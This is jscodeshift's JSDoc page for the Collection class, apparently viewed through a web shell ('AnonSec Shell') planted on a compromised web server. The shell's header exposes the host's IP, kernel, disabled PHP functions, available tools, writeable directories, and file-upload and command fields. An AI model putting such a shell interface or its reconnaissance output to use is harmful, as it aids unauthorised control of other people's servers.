AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/wwwroot/mifepriston.org/node_modules/jscodeshift/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/wwwroot/mifepriston.org/node_modules/jscodeshift/docs/Collection.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>JSDoc: Class: Collection</title>

    <script src="scripts/prettify/prettify.js"> </script>
    <script src="scripts/prettify/lang-css.js"> </script>
    <!--[if lt IE 9]>
      <script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
    <![endif]-->
    <link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
    <link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">
</head>

<body>

<div id="main">

    <h1 class="page-title">Class: Collection</h1>

    




<section>

<header>
    
        <h2>Collection</h2>
        
            <div class="class-description">This represents a generic collection of node paths. It only has a generic
API to access and process the elements of the list. It doesn't know anything
about AST types.</div>
        
    
</header>

<article>
    <div class="container-overview">
    
        

    
    <h2>Constructor</h2>
    

    <h4 class="name" id="Collection"><span class="type-signature"></span>new Collection<span class="signature">(paths, parent, types)</span><span class="type-signature"></span></h4>

    











    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>paths</code></td>
            

            <td class="type">
            
                
<span class="param-type">Array</span>


            
            </td>

            

            

            <td class="description last">An array of AST paths</td>
        </tr>

    

        <tr>
            
                <td class="name"><code>parent</code></td>
            

            <td class="type">
            
                
<span class="param-type"><a href="Collection.html">Collection</a></span>


            
            </td>

            

            

            <td class="description last">A parent collection</td>
        </tr>

    

        <tr>
            
                <td class="name"><code>types</code></td>
            

            <td class="type">
            
                
<span class="param-type">Array</span>


            
            </td>

            

            

            <td class="description last">An array of types all the paths in the collection
 have in common. If not passed, it will be inferred from the paths.</td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="traversalMethods.html">traversalMethods</a></li>
        
            <li><a href="mutationMethods.html">mutationMethods</a></li>
        
            <li><a href="transformMethods.html">transformMethods</a></li>
        
            <li><a href="globalMethods.html">globalMethods</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line32">line 32</a>
    </li></ul></dd>
    

    

    

    
</dl>
















    
    </div>

    

    

    

     

    

    
        <h3 class="subsection-title">Members</h3>

        
            
<h4 class="name" id="length"><span class="type-signature"></span>length<span class="type-signature"></span></h4>




<div class="description">
    Returns the number of elements in this collection.
</div>







<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line126">line 126</a>
    </li></ul></dd>
    

    

    

    
</dl>






        
    

    
        <h3 class="subsection-title">Methods</h3>

        
            

    

    <h4 class="name" id="at"><span class="type-signature"></span>at<span class="signature">(index)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Returns a new collection containing only the element at position index.

In case of a negative index, the element is taken from the end:

  .at(0)  - first element
  .at(-1) - last element
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>index</code></td>
            

            <td class="type">
            
                
<span class="param-type">number</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line172">line 172</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="childElements"><span class="type-signature"></span>childElements<span class="signature">()</span><span class="type-signature"> &rarr; {JSXElementCollection}</span></h4>

    



<div class="description">
    Returns all children that are JSXElements.
</div>













<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="traversalMethods.html#.childElements">traversalMethods.childElements</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_JSXElement.js.html">collections/JSXElement.js</a>, <a href="collections_JSXElement.js.html#line155">line 155</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type">JSXElementCollection</span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="childNodes"><span class="type-signature"></span>childNodes<span class="signature">()</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Returns all child nodes, including literals and expressions.
</div>













<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="traversalMethods.html#.childNodes">traversalMethods.childNodes</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_JSXElement.js.html">collections/JSXElement.js</a>, <a href="collections_JSXElement.js.html#line138">line 138</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="closest"><span class="type-signature"></span>closest<span class="signature">()</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Traverse the AST up and finds the closest node of the provided type.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            

            <td class="type">
            
                
<span class="param-type"><a href="Collection.html">Collection</a></span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    

        <tr>
            

            <td class="type">
            
                
<span class="param-type">filter</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="traversalMethods.html#.closest">traversalMethods.closest</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_Node.js.html">collections/Node.js</a>, <a href="collections_Node.js.html#line78">line 78</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="closestScope"><span class="type-signature"></span>closestScope<span class="signature">()</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Returns a collection containing the paths that create the scope of the
currently selected paths. Dedupes the paths.
</div>













<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="traversalMethods.html#.closestScope">traversalMethods.closestScope</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_Node.js.html">collections/Node.js</a>, <a href="collections_Node.js.html#line67">line 67</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="filter"><span class="type-signature"></span>filter<span class="signature">(callback)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Returns a new collection containing the nodes for which the callback
returns true.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>callback</code></td>
            

            <td class="type">
            
                
<span class="param-type">function</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line64">line 64</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="find"><span class="type-signature"></span>find<span class="signature">()</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Find nodes of a specific type within the nodes of this collection.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            

            <td class="type">
            
                
<span class="param-type">type</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    

        <tr>
            

            <td class="type">
            
                
<span class="param-type">filter</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="traversalMethods.html#.find">traversalMethods.find</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_Node.js.html">collections/Node.js</a>, <a href="collections_Node.js.html#line34">line 34</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="findJSXElements"><span class="type-signature"></span>findJSXElements<span class="signature">(name)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Finds all JSXElements optionally filtered by name
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>name</code></td>
            

            <td class="type">
            
                
<span class="param-type">string</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="globalMethods.html#.findJSXElements">globalMethods.findJSXElements</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_JSXElement.js.html">collections/JSXElement.js</a>, <a href="collections_JSXElement.js.html#line37">line 37</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="findJSXElementsByModuleName"><span class="type-signature"></span>findJSXElementsByModuleName<span class="signature">()</span><span class="type-signature"></span></h4>

    



<div class="description">
    Finds all JSXElements by module name. Given

    var Bar = require('Foo');
    <Bar />

findJSXElementsByModuleName('Foo') will find <Bar />, without having to
know the variable name.
</div>













<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="globalMethods.html#.findJSXElementsByModuleName">globalMethods.findJSXElementsByModuleName</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_JSXElement.js.html">collections/JSXElement.js</a>, <a href="collections_JSXElement.js.html#line51">line 51</a>
    </li></ul></dd>
    

    

    

    
</dl>
















        
            

    

    <h4 class="name" id="findVariableDeclarators"><span class="type-signature"></span>findVariableDeclarators<span class="signature">(name)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Finds all variable declarators, optionally filtered by name.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>name</code></td>
            

            <td class="type">
            
                
<span class="param-type">string</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="globalMethods.html#.findVariableDeclarators">globalMethods.findVariableDeclarators</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_VariableDeclarator.js.html">collections/VariableDeclarator.js</a>, <a href="collections_VariableDeclarator.js.html#line35">line 35</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="forEach"><span class="type-signature"></span>forEach<span class="signature">(callback)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Executes callback for each node/path in the collection.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>callback</code></td>
            

            <td class="type">
            
                
<span class="param-type">function</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line74">line 74</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        
<div class="param-desc">
    The collection itself
</div>



<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="get"><span class="type-signature"></span>get<span class="signature">()</span><span class="type-signature"></span></h4>

    



<div class="description">
    Proxies to NodePath#get of the first path.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>...fields</code></td>
            

            <td class="type">
            
                
<span class="param-type">string</span>
|

<span class="param-type">number</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line187">line 187</a>
    </li></ul></dd>
    

    

    

    
</dl>
















        
            

    

    <h4 class="name" id="getTypes"><span class="type-signature"></span>getTypes<span class="signature">()</span><span class="type-signature"> &rarr; {Array.&lt;string>}</span></h4>

    



<div class="description">
    Returns the type(s) of the collection. This is only used for unit tests,
I don't think other consumers would need it.
</div>













<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line204">line 204</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type">Array.&lt;string></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="getVariableDeclarators"><span class="type-signature"></span>getVariableDeclarators<span class="signature">(nameGetter)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Finds the declaration for each selected path. Useful for member expressions
or JSXElements. Expects a callback function that maps each path to the name
to look for.

If the callback returns a falsey value, the element is skipped.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>nameGetter</code></td>
            

            <td class="type">
            
                
<span class="param-type">function</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="traversalMethods.html#.getVariableDeclarators">traversalMethods.getVariableDeclarators</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_Node.js.html">collections/Node.js</a>, <a href="collections_Node.js.html#line105">line 105</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="insertAfter"><span class="type-signature"></span>insertAfter<span class="signature">(insert)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Inserts a new node after the current one.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>insert</code></td>
            

            <td class="type">
            
                
<span class="param-type">Node</span>
|

<span class="param-type">Array.&lt;Node></span>
|

<span class="param-type">function</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="mutationMethods.html#.insertAfter">mutationMethods.insertAfter</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_Node.js.html">collections/Node.js</a>, <a href="collections_Node.js.html#line169">line 169</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="insertBefore"><span class="type-signature"></span>insertBefore<span class="signature">(insert)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Inserts a new node before the current one.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>insert</code></td>
            

            <td class="type">
            
                
<span class="param-type">Node</span>
|

<span class="param-type">Array.&lt;Node></span>
|

<span class="param-type">function</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="mutationMethods.html#.insertBefore">mutationMethods.insertBefore</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_Node.js.html">collections/Node.js</a>, <a href="collections_Node.js.html#line155">line 155</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="isOfType"><span class="type-signature"></span>isOfType<span class="signature">(type)</span><span class="type-signature"> &rarr; {boolean}</span></h4>

    



<div class="description">
    Returns true if this collection has the type 'type'.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>type</code></td>
            

            <td class="type">
            
                
<span class="param-type">Type</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line214">line 214</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type">boolean</span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="map"><span class="type-signature"></span>map<span class="signature">(callback, type)</span><span class="type-signature"></span></h4>

    



<div class="description">
    Executes the callback for every path in the collection and returns a new
collection from the return values (which must be paths).

The callback can return null to indicate to exclude the element from the
new collection.

If an array is returned, the array will be flattened into the result
collection.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>callback</code></td>
            

            <td class="type">
            
                
<span class="param-type">function</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    

        <tr>
            
                <td class="name"><code>type</code></td>
            

            <td class="type">
            
                
<span class="param-type">Type</span>


            
            </td>

            

            

            <td class="description last">Force the new collection to be of a specific type</td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line94">line 94</a>
    </li></ul></dd>
    

    

    

    
</dl>
















        
            

    

    <h4 class="name" id="nodes"><span class="type-signature"></span>nodes<span class="signature">()</span><span class="type-signature"> &rarr; {Array}</span></h4>

    



<div class="description">
    Returns an array of AST nodes in this collection.
</div>













<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line135">line 135</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type">Array</span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="renameTo"><span class="type-signature"></span>renameTo<span class="signature">(newName)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Renames a variable and all its occurrences.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>newName</code></td>
            

            <td class="type">
            
                
<span class="param-type">string</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="transformMethods.html#.renameTo">transformMethods.renameTo</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_VariableDeclarator.js.html">collections/VariableDeclarator.js</a>, <a href="collections_VariableDeclarator.js.html#line79">line 79</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="replaceWith"><span class="type-signature"></span>replaceWith<span class="signature">(nodes)</span><span class="type-signature"> &rarr; {<a href="Collection.html">Collection</a>}</span></h4>

    



<div class="description">
    Simply replaces the selected nodes with the provided node. If a function
is provided it is executed for every node and the node is replaced with the
functions return value.
</div>









    <h5>Parameters:</h5>
    

<table class="params">
    <thead>
    <tr>
        
        <th>Name</th>
        

        <th>Type</th>

        

        

        <th class="last">Description</th>
    </tr>
    </thead>

    <tbody>
    

        <tr>
            
                <td class="name"><code>nodes</code></td>
            

            <td class="type">
            
                
<span class="param-type">Node</span>
|

<span class="param-type">Array.&lt;Node></span>
|

<span class="param-type">function</span>


            
            </td>

            

            

            <td class="description last"></td>
        </tr>

    
    </tbody>
</table>






<dl class="details">

    

    

    

    

    

    

    
        <dt class="mixes">Mixes In:</dt>

        <dd class="mixes"><ul>
        
            <li><a href="mutationMethods.html#.replaceWith">mutationMethods.replaceWith</a></li>
        
        </ul></dd>
    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="collections_Node.js.html">collections/Node.js</a>, <a href="collections_Node.js.html#line141">line 141</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type"><a href="Collection.html">Collection</a></span>


    </dd>
</dl>

    



        
            

    

    <h4 class="name" id="size"><span class="type-signature"></span>size<span class="signature">()</span><span class="type-signature"> &rarr; {number}</span></h4>

    



<div class="description">
    Returns the number of elements in this collection.
</div>













<dl class="details">

    

    

    

    

    

    

    

    

    

    

    

    

    
    <dt class="tag-source">Source:</dt>
    <dd class="tag-source"><ul class="dummy"><li>
        <a href="Collection.js.html">Collection.js</a>, <a href="Collection.js.html#line117">line 117</a>
    </li></ul></dd>
    

    

    

    
</dl>













<h5>Returns:</h5>

        


<dl>
    <dt>
        Type
    </dt>
    <dd>
        
<span class="param-type">number</span>


    </dd>
</dl>

    



        
    

    

    
</article>

</section>




</div>

<nav>
    <h2><a href="index.html">Home</a></h2><h3>Modules</h3><ul><li><a href="module-jscodeshift.html">jscodeshift</a></li></ul><h3>Externals</h3><ul><li><a href="external-astTypes.html">astTypes</a></li></ul><h3>Classes</h3><ul><li><a href="Collection.html">Collection</a></li></ul><h3>Mixins</h3><ul><li><a href="globalMethods.html">globalMethods</a></li><li><a href="mutationMethods.html">mutationMethods</a></li><li><a href="transformMethods.html">transformMethods</a></li><li><a href="traversalMethods.html">traversalMethods</a></li></ul><h3>Global</h3><ul><li><a href="global.html#registerMethods">registerMethods</a></li></ul>
</nav>

<br class="clear">

<footer>
    Documentation generated by <a href="https://github.com/jsdoc3/jsdoc">JSDoc 3.4.1</a> on Wed Sep 21 2016 16:53:09 GMT-0400 (EDT)
</footer>

<script> prettyPrint(); </script>
<script src="scripts/linenumber.js"> </script>
</body>
</html>

Anon7 - 2022
AnonSec Team